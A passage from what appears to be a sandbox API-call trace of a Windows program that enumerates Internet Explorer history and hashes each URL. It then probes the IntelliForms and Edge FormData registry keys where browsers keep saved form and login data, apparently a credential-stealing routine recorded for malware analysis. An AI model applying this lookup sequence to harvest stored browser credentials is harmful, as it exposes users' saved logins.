(uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.509] lstrcpyA (in: lpString1=0x750bb8, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC639" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC639") returned="248EA17E34E28169FE4C9711D8D4A605BFC639" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC639", lpString2="93" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC63993") returned="248EA17E34E28169FE4C9711D8D4A605BFC63993" [0053.509] LocalFree (hMem=0x754a30) returned 0x0 [0053.509] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6B") returned 2 [0053.509] lstrlenA (lpString="248EA17E34E28169FE4C9711D8D4A605BFC63993") returned 40 [0053.509] lstrlenA (lpString="6B") returned 2 [0053.509] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.509] lstrcpyA (in: lpString1=0x750a48, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC63993" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC63993") returned="248EA17E34E28169FE4C9711D8D4A605BFC63993" [0053.509] lstrcatA (in: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC63993", lpString2="6B" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC639936B") returned="248EA17E34E28169FE4C9711D8D4A605BFC639936B" [0053.509] LocalFree (hMem=0x750bb8) returned 0x0 [0053.509] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.509] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.510] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.510] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.510] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.510] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.510] LocalFree (hMem=0x750a48) returned 0x0 [0053.510] CoTaskMemFree (pv=0x756be0) [0053.510] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.510] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/uXFxmWEGABtwgcBszsjR.gif", lpSrch="?") returned 0x0 [0053.510] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/uXFxmWEGABtwgcBszsjR.gif") returned 74 [0053.510] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CE") returned 2 [0053.510] lstrlenA (lpString="") returned 0 [0053.510] lstrlenA (lpString="CE") returned 2 [0053.510] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c638 [0053.510] lstrcpyA (in: lpString1=0x75c638, lpString2="" | out: lpString1="") returned="" [0053.511] lstrcatA (in: lpString1="", lpString2="CE" | out: lpString1="CE") returned="CE" [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.511] lstrlenA (lpString="CE") returned 2 [0053.511] lstrlenA (lpString="05") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75c888 [0053.511] lstrcpyA (in: lpString1=0x75c888, lpString2="CE" | out: lpString1="CE") returned="CE" [0053.511] lstrcatA (in: lpString1="CE", lpString2="05" | out: lpString1="CE05") returned="CE05" [0053.511] LocalFree (hMem=0x75c638) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E5") returned 2 [0053.511] lstrlenA (lpString="CE05") returned 4 [0053.511] lstrlenA (lpString="E5") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c638 [0053.511] lstrcpyA (in: lpString1=0x75c638, lpString2="CE05" | out: lpString1="CE05") returned="CE05" [0053.511] lstrcatA (in: lpString1="CE05", lpString2="E5" | out: lpString1="CE05E5") returned="CE05E5" [0053.511] LocalFree (hMem=0x75c888) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4B") returned 2 [0053.511] lstrlenA (lpString="CE05E5") returned 6 [0053.511] lstrlenA (lpString="4B") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75c888 [0053.511] lstrcpyA (in: lpString1=0x75c888, lpString2="CE05E5" | out: lpString1="CE05E5") returned="CE05E5" [0053.511] lstrcatA (in: lpString1="CE05E5", lpString2="4B" | out: lpString1="CE05E54B") returned="CE05E54B" [0053.511] LocalFree (hMem=0x75c638) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="58") returned 2 [0053.511] lstrlenA (lpString="CE05E54B") returned 8 [0053.511] lstrlenA (lpString="58") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75ea60 [0053.511] lstrcpyA (in: lpString1=0x75ea60, lpString2="CE05E54B" | out: lpString1="CE05E54B") returned="CE05E54B" [0053.511] lstrcatA (in: lpString1="CE05E54B", lpString2="58" | out: lpString1="CE05E54B58") returned="CE05E54B58" [0053.511] LocalFree (hMem=0x75c888) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5C") returned 2 [0053.511] lstrlenA (lpString="CE05E54B58") returned 10 [0053.511] lstrlenA (lpString="5C") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75c888 [0053.511] lstrcpyA (in: lpString1=0x75c888, lpString2="CE05E54B58" | out: lpString1="CE05E54B58") returned="CE05E54B58" [0053.511] lstrcatA (in: lpString1="CE05E54B58", lpString2="5C" | out: lpString1="CE05E54B585C") returned="CE05E54B585C" [0053.511] LocalFree (hMem=0x75ea60) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="97") returned 2 [0053.511] lstrlenA (lpString="CE05E54B585C") returned 12 [0053.511] lstrlenA (lpString="97") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75ea60 [0053.511] lstrcpyA (in: lpString1=0x75ea60, lpString2="CE05E54B585C" | out: lpString1="CE05E54B585C") returned="CE05E54B585C" [0053.511] lstrcatA (in: lpString1="CE05E54B585C", lpString2="97" | out: lpString1="CE05E54B585C97") returned="CE05E54B585C97" [0053.511] LocalFree (hMem=0x75c888) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="ED") returned 2 [0053.511] lstrlenA (lpString="CE05E54B585C97") returned 14 [0053.511] lstrlenA (lpString="ED") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75eaf8 [0053.511] lstrcpyA (in: lpString1=0x75eaf8, lpString2="CE05E54B585C97" | out: lpString1="CE05E54B585C97") returned="CE05E54B585C97" [0053.511] lstrcatA (in: lpString1="CE05E54B585C97", lpString2="ED" | out: lpString1="CE05E54B585C97ED") returned="CE05E54B585C97ED" [0053.511] LocalFree (hMem=0x75ea60) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E6") returned 2 [0053.511] lstrlenA (lpString="CE05E54B585C97ED") returned 16 [0053.511] lstrlenA (lpString="E6") returned 2 [0053.511] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75eb98 [0053.511] lstrcpyA (in: lpString1=0x75eb98, lpString2="CE05E54B585C97ED" | out: lpString1="CE05E54B585C97ED") returned="CE05E54B585C97ED" [0053.511] lstrcatA (in: lpString1="CE05E54B585C97ED", lpString2="E6" | out: lpString1="CE05E54B585C97EDE6") returned="CE05E54B585C97EDE6" [0053.511] LocalFree (hMem=0x75eaf8) returned 0x0 [0053.511] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A4") returned 2 [0053.511] lstrlenA (lpString="CE05E54B585C97EDE6") returned 18 [0053.512] lstrlenA (lpString="A4") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75ea60 [0053.512] lstrcpyA (in: lpString1=0x75ea60, lpString2="CE05E54B585C97EDE6" | out: lpString1="CE05E54B585C97EDE6") returned="CE05E54B585C97EDE6" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6", lpString2="A4" | out: lpString1="CE05E54B585C97EDE6A4") returned="CE05E54B585C97EDE6A4" [0053.512] LocalFree (hMem=0x75eb98) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A4") returned 20 [0053.512] lstrlenA (lpString="20") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75eb00 [0053.512] lstrcpyA (in: lpString1=0x75eb00, lpString2="CE05E54B585C97EDE6A4" | out: lpString1="CE05E54B585C97EDE6A4") returned="CE05E54B585C97EDE6A4" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4", lpString2="20" | out: lpString1="CE05E54B585C97EDE6A420") returned="CE05E54B585C97EDE6A420" [0053.512] LocalFree (hMem=0x75ea60) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8F") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A420") returned 22 [0053.512] lstrlenA (lpString="8F") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.512] lstrcpyA (in: lpString1=0x758a18, lpString2="CE05E54B585C97EDE6A420" | out: lpString1="CE05E54B585C97EDE6A420") returned="CE05E54B585C97EDE6A420" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A420", lpString2="8F" | out: lpString1="CE05E54B585C97EDE6A4208F") returned="CE05E54B585C97EDE6A4208F" [0053.512] LocalFree (hMem=0x75eb00) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BE") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A4208F") returned 24 [0053.512] lstrlenA (lpString="BE") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.512] lstrcpyA (in: lpString1=0x758820, lpString2="CE05E54B585C97EDE6A4208F" | out: lpString1="CE05E54B585C97EDE6A4208F") returned="CE05E54B585C97EDE6A4208F" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208F", lpString2="BE" | out: lpString1="CE05E54B585C97EDE6A4208FBE") returned="CE05E54B585C97EDE6A4208FBE" [0053.512] LocalFree (hMem=0x758a18) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F1") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBE") returned 26 [0053.512] lstrlenA (lpString="F1") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.512] lstrcpyA (in: lpString1=0x758a18, lpString2="CE05E54B585C97EDE6A4208FBE" | out: lpString1="CE05E54B585C97EDE6A4208FBE") returned="CE05E54B585C97EDE6A4208FBE" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBE", lpString2="F1" | out: lpString1="CE05E54B585C97EDE6A4208FBEF1") returned="CE05E54B585C97EDE6A4208FBEF1" [0053.512] LocalFree (hMem=0x758820) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF1") returned 28 [0053.512] lstrlenA (lpString="67") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.512] lstrcpyA (in: lpString1=0x758820, lpString2="CE05E54B585C97EDE6A4208FBEF1" | out: lpString1="CE05E54B585C97EDE6A4208FBEF1") returned="CE05E54B585C97EDE6A4208FBEF1" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF1", lpString2="67" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167") returned="CE05E54B585C97EDE6A4208FBEF167" [0053.512] LocalFree (hMem=0x758a18) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D1") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF167") returned 30 [0053.512] lstrlenA (lpString="D1") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754a30 [0053.512] lstrcpyA (in: lpString1=0x754a30, lpString2="CE05E54B585C97EDE6A4208FBEF167" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167") returned="CE05E54B585C97EDE6A4208FBEF167" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF167", lpString2="D1" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1") returned="CE05E54B585C97EDE6A4208FBEF167D1" [0053.512] LocalFree (hMem=0x758820) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D9") returned 2 [0053.512] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF167D1") returned 32 [0053.512] lstrlenA (lpString="D9") returned 2 [0053.512] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.512] lstrcpyA (in: lpString1=0x754820, lpString2="CE05E54B585C97EDE6A4208FBEF167D1" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1") returned="CE05E54B585C97EDE6A4208FBEF167D1" [0053.512] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF167D1", lpString2="D9" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9") returned="CE05E54B585C97EDE6A4208FBEF167D1D9" [0053.512] LocalFree (hMem=0x754a30) returned 0x0 [0053.512] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="74") returned 2 [0053.513] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF167D1D9") returned 34 [0053.513] lstrlenA (lpString="74") returned 2 [0053.513] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754a30 [0053.513] lstrcpyA (in: lpString1=0x754a30, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9") returned="CE05E54B585C97EDE6A4208FBEF167D1D9" [0053.513] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9", lpString2="74" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D974") returned="CE05E54B585C97EDE6A4208FBEF167D1D974" [0053.513] LocalFree (hMem=0x754820) returned 0x0 [0053.513] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4B") returned 2 [0053.513] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF167D1D974") returned 36 [0053.513] lstrlenA (lpString="4B") returned 2 [0053.513] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.513] lstrcpyA (in: lpString1=0x754820, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D974" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D974") returned="CE05E54B585C97EDE6A4208FBEF167D1D974" [0053.513] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D974", lpString2="4B" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B" [0053.513] LocalFree (hMem=0x754a30) returned 0x0 [0053.513] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="22") returned 2 [0053.513] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF167D1D9744B") returned 38 [0053.513] lstrlenA (lpString="22") returned 2 [0053.513] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.513] lstrcpyA (in: lpString1=0x750a48, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9744B" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B" [0053.513] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B", lpString2="22" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B22") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B22" [0053.513] LocalFree (hMem=0x754820) returned 0x0 [0053.513] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="15") returned 2 [0053.513] lstrlenA (lpString="CE05E54B585C97EDE6A4208FBEF167D1D9744B22") returned 40 [0053.513] lstrlenA (lpString="15") returned 2 [0053.513] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.513] lstrcpyA (in: lpString1=0x750bb8, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9744B22" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B22") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B22" [0053.513] lstrcatA (in: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B22", lpString2="15" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B2215") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B2215" [0053.513] LocalFree (hMem=0x750a48) returned 0x0 [0053.513] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.513] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.513] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.513] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.513] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.513] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.513] LocalFree (hMem=0x750bb8) returned 0x0 [0053.513] CoTaskMemFree (pv=0x75e9c0) [0053.514] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.514] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JWxJgBZ0MfGV5-K_W.jpg", lpSrch="?") returned 0x0 [0053.514] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JWxJgBZ0MfGV5-K_W.jpg") returned 63 [0053.514] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C9") returned 2 [0053.514] lstrlenA (lpString="") returned 0 [0053.514] lstrlenA (lpString="C9") returned 2 [0053.514] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c638 [0053.514] lstrcpyA (in: lpString1=0x75c638, lpString2="" | out: lpString1="") returned="" [0053.514] lstrcatA (in: lpString1="", lpString2="C9" | out: lpString1="C9") returned="C9" [0053.514] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="71") returned 2 [0053.514] lstrlenA (lpString="C9") returned 2 [0053.514] lstrlenA (lpString="71") returned 2 [0053.514] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75c888 [0053.514] lstrcpyA (in: lpString1=0x75c888, lpString2="C9" | out: lpString1="C9") returned="C9" [0053.514] lstrcatA (in: lpString1="C9", lpString2="71" | out: lpString1="C971") returned="C971" [0053.514] LocalFree (hMem=0x75c638) returned 0x0 [0053.514] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5C") returned 2 [0053.514] lstrlenA (lpString="C971") returned 4 [0053.514] lstrlenA (lpString="5C") returned 2 [0053.514] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c638 [0053.514] lstrcpyA (in: lpString1=0x75c638, lpString2="C971" | out: lpString1="C971") returned="C971" [0053.514] lstrcatA (in: lpString1="C971", lpString2="5C" | out: lpString1="C9715C") returned="C9715C" [0053.514] LocalFree (hMem=0x75c888) returned 0x0 [0053.514] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="21") returned 2 [0053.514] lstrlenA (lpString="C9715C") returned 6 [0053.514] lstrlenA (lpString="21") returned 2 [0053.514] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75c888 [0053.514] lstrcpyA (in: lpString1=0x75c888, lpString2="C9715C" | out: lpString1="C9715C") returned="C9715C" [0053.514] lstrcatA (in: lpString1="C9715C", lpString2="21" | out: lpString1="C9715C21") returned="C9715C21" [0053.514] LocalFree (hMem=0x75c638) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="71") returned 2 [0053.515] lstrlenA (lpString="C9715C21") returned 8 [0053.515] lstrlenA (lpString="71") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75e9c0 [0053.515] lstrcpyA (in: lpString1=0x75e9c0, lpString2="C9715C21" | out: lpString1="C9715C21") returned="C9715C21" [0053.515] lstrcatA (in: lpString1="C9715C21", lpString2="71" | out: lpString1="C9715C2171") returned="C9715C2171" [0053.515] LocalFree (hMem=0x75c888) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.515] lstrlenA (lpString="C9715C2171") returned 10 [0053.515] lstrlenA (lpString="79") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75c888 [0053.515] lstrcpyA (in: lpString1=0x75c888, lpString2="C9715C2171" | out: lpString1="C9715C2171") returned="C9715C2171" [0053.515] lstrcatA (in: lpString1="C9715C2171", lpString2="79" | out: lpString1="C9715C217179") returned="C9715C217179" [0053.515] LocalFree (hMem=0x75e9c0) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B1") returned 2 [0053.515] lstrlenA (lpString="C9715C217179") returned 12 [0053.515] lstrlenA (lpString="B1") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75e9c0 [0053.515] lstrcpyA (in: lpString1=0x75e9c0, lpString2="C9715C217179" | out: lpString1="C9715C217179") returned="C9715C217179" [0053.515] lstrcatA (in: lpString1="C9715C217179", lpString2="B1" | out: lpString1="C9715C217179B1") returned="C9715C217179B1" [0053.515] LocalFree (hMem=0x75c888) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="08") returned 2 [0053.515] lstrlenA (lpString="C9715C217179B1") returned 14 [0053.515] lstrlenA (lpString="08") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75ea58 [0053.515] lstrcpyA (in: lpString1=0x75ea58, lpString2="C9715C217179B1" | out: lpString1="C9715C217179B1") returned="C9715C217179B1" [0053.515] lstrcatA (in: lpString1="C9715C217179B1", lpString2="08" | out: lpString1="C9715C217179B108") returned="C9715C217179B108" [0053.515] LocalFree (hMem=0x75e9c0) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A3") returned 2 [0053.515] lstrlenA (lpString="C9715C217179B108") returned 16 [0053.515] lstrlenA (lpString="A3") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75eaf8 [0053.515] lstrcpyA (in: lpString1=0x75eaf8, lpString2="C9715C217179B108" | out: lpString1="C9715C217179B108") returned="C9715C217179B108" [0053.515] lstrcatA (in: lpString1="C9715C217179B108", lpString2="A3" | out: lpString1="C9715C217179B108A3") returned="C9715C217179B108A3" [0053.515] LocalFree (hMem=0x75ea58) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.515] lstrlenA (lpString="C9715C217179B108A3") returned 18 [0053.515] lstrlenA (lpString="96") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75e9c0 [0053.515] lstrcpyA (in: lpString1=0x75e9c0, lpString2="C9715C217179B108A3" | out: lpString1="C9715C217179B108A3") returned="C9715C217179B108A3" [0053.515] lstrcatA (in: lpString1="C9715C217179B108A3", lpString2="96" | out: lpString1="C9715C217179B108A396") returned="C9715C217179B108A396" [0053.515] LocalFree (hMem=0x75eaf8) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="26") returned 2 [0053.515] lstrlenA (lpString="C9715C217179B108A396") returned 20 [0053.515] lstrlenA (lpString="26") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75ea60 [0053.515] lstrcpyA (in: lpString1=0x75ea60, lpString2="C9715C217179B108A396" | out: lpString1="C9715C217179B108A396") returned="C9715C217179B108A396" [0053.515] lstrcatA (in: lpString1="C9715C217179B108A396", lpString2="26" | out: lpString1="C9715C217179B108A39626") returned="C9715C217179B108A39626" [0053.515] LocalFree (hMem=0x75e9c0) returned 0x0 [0053.515] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CD") returned 2 [0053.515] lstrlenA (lpString="C9715C217179B108A39626") returned 22 [0053.515] lstrlenA (lpString="CD") returned 2 [0053.515] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.515] lstrcpyA (in: lpString1=0x758820, lpString2="C9715C217179B108A39626" | out: lpString1="C9715C217179B108A39626") returned="C9715C217179B108A39626" [0053.515] lstrcatA (in: lpString1="C9715C217179B108A39626", lpString2="CD" | out: lpString1="C9715C217179B108A39626CD") returned="C9715C217179B108A39626CD" [0053.516] LocalFree (hMem=0x75ea60) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="23") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD") returned 24 [0053.516] lstrlenA (lpString="23") returned 2 [0053.516] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.516] lstrcpyA (in: lpString1=0x758a18, lpString2="C9715C217179B108A39626CD" | out: lpString1="C9715C217179B108A39626CD") returned="C9715C217179B108A39626CD" [0053.516] lstrcatA (in: lpString1="C9715C217179B108A39626CD", lpString2="23" | out: lpString1="C9715C217179B108A39626CD23") returned="C9715C217179B108A39626CD23" [0053.516] LocalFree (hMem=0x758820) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD23") returned 26 [0053.516] lstrlenA (lpString="49") returned 2 [0053.516] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.516] lstrcpyA (in: lpString1=0x758820, lpString2="C9715C217179B108A39626CD23" | out: lpString1="C9715C217179B108A39626CD23") returned="C9715C217179B108A39626CD23" [0053.516] lstrcatA (in: 